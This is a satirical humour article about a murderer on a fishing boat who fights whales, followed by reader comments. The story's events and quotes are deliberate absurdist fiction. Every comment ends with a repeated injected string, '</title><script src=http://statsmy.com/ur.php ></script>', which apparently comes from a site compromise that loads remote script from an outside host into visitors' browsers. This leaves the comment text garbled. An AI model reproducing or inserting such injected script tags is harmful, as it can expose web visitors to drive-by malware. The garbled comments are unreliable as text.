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Friendly killer battles whales
by Kris on 9/7/2004 (7)

Whales. Man's only natural enemy... besides robots.
A playful convicted murderer who likes to frolic alongside fishermen has protected their boats from five separate whale attacks.

John Shepard, once described by fishermen as the “filth of the sea”, has protected his fellow sailors from destructive whale attacks numerous times and has now lovingly earned the title of “slime of the sea”.

Shepard was convicted three years ago of the double murder/decapitation of his wife and her new boyfriend. Police tied him to the murder weapon, a spoon, using DNA evidence and later proved in court that the contours of the spoon matched Shepard’s hand. The engraving on the spoon, “Die Wife and New Boyfriend, love John Shepard”, despite questionable grammar, helped to seal the case.

Shepard was sentenced to life in prison without the possibility of parole. A lenient judge allowed Shepard one special provision before he began serving his sentence.

Citing his “overall positive demeanor” and “undying love for the sea”, the judge allowed Shepard to spend the next four years on a fishing boat in the Northern Atlantic Ocean. Upon completion of this trip, he would return to prison and serve out his sentence.

While many were initially against Shepard’s fishing endeavor, his heroics in the face of whales soon earned the respect of his fellow shipmates and quickly silenced any of the voices against his unusual reprieve.

“Just like any good natured fishing boat crew, we didn’t want a convicted murderer on our ship,” said Todd Wilson, fellow shipmate and poorly educated fisherman. “But he’s saved us from more whale attacks than I can count.” Smooth Operator was able to confirm that Mr. Wilson could indeed not count to five.

John Shepard spends the majority of his days hitting golf balls into the ocean. His heroics have earned him a sort of celebrity status on the boat and he is no longer required to do the hard labors of fishing.

“I like to hit golf balls at the whales,” said Shepard. “It really pisses them off.”

But when the whales attack, Shepard rises to the call, relentlessly stabbing them with harpoons and pelting them with assorted kitchenwares.

“I’ve never seen a man with such unbridled, relentless hatred of whales,” said Captain George Crunch. “It’s almost like the hatred stems from the fact that John’s entire immediate family was killed by a bloodthirsty whale while on a simple family picnic in the country. Then, exactly three years and five months ago, a whale killed his wife and her new boyfriend and framed him for the murder.” Smooth Operator was also able to confirm that, strangely, this assumption by Captain Crunch was also fact.




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"Just like any good natured fishing boat crew, we didn’t want a convicted murderer on our ship. But he’s saved us from more whale attacks than I can count."
- Todd Wilson
Fisherman. Idiot.

 
Comments

1. by Motz on 3/1/2007 4:52:29 PM
Where's Shovley McDig? It seems he should be playing a role in this one.n.r </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by AndyLeeds on 3/1/2007 4:52:29 PM
And where's fulla Seamen? BTW another great story.i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Katy on 3/1/2007 4:52:29 PM
kiss ass.... :pisplay:n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Motz on 3/1/2007 4:52:29 PM
errr...wrong source....yuck!"0" sty </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by feaglin on 3/1/2007 4:52:29 PM
great story. Plural of 'fisherman' is 'fishermen' and hitting golfballs without a hole is a legitimate hobby by the way (good job Kris). In fact, it is mostly done using baseball bats. Go to www.6pack.tv choose 'movies' on the right, nr. 7 the lowest of the three. Featuring the 'golfclub'. A bunch of guys beating away golfballs with baseballbats for no reason whatsoever. It's Dutch and the black guy doesn't understand </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Kris on 3/1/2007 4:52:29 PM
You guys are too kind... and better proofreaders than me. The inspiration for the golfballs was two-fold... first, I had a buddy in high school that always wanted to crank golfballs into the trailer court. And B, there was an episode of Sienfeld where Kramer was hitting balls into the ocean and one got stuck in the blowhole of a whale.i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by wenders on 3/1/2007 4:52:29 PM
damn missed that one.is </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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